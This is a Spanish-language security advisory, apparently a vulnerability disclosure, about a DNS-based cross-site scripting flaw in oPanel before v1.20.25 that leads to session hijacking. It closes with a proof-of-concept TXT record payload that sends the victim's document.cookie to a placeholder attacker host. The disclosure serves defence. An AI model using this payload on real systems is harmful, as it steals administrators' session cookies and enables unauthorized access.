
oPanel Cross-Site Scripting (XSS) Basado en DNS y Secuestro de Sesión
Existe una vulnerabilidad de Cross-Site Scripting (XSS) en oPanel (versiones anteriores a v1.20.25) debido al manejo y saneamiento inadecuado de las respuestas DNS. Cuando el panel realiza una consulta DNS (por ejemplo, obteniendo información de dominio, verificando la propagación DNS o consultando registros TXT) contra un servidor de nombres controlado por un atacante, refleja los registros DNS devueltos directamente en la interfaz web sin una codificación HTML adecuada.
Un atacante puede explotar esto configurando un servidor DNS malicioso para que responda a las consultas de registros TXT con una carga útil de JavaScript maliciosa. Cuando un usuario autenticado de oPanel (por ejemplo, un administrador) visualiza la página donde se muestra la respuesta DNS, la carga útil se ejecuta en el contexto de su sesión de navegador.
La explotación exitosa permite a un atacante ejecutar JavaScript arbitrario en el navegador de la víctima. Como se demuestra en la Prueba de Concepto, esto puede aprovecharse para robar cookies de autenticación sensibles (document.cookie), lo que lleva a un secuestro completo de sesión y acceso administrativo no autorizado al entorno de oPanel.
La explotación requiere que el atacante configure un servidor DNS malicioso y un listener HTTP para capturar los datos exfiltrados.
El atacante ejecuta un servidor DNS malicioso en el puerto UDP 53 que está configurado para responder a cualquier consulta TXT con una carga útil XSS.
Carga útil del registro TXT malicioso:
<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>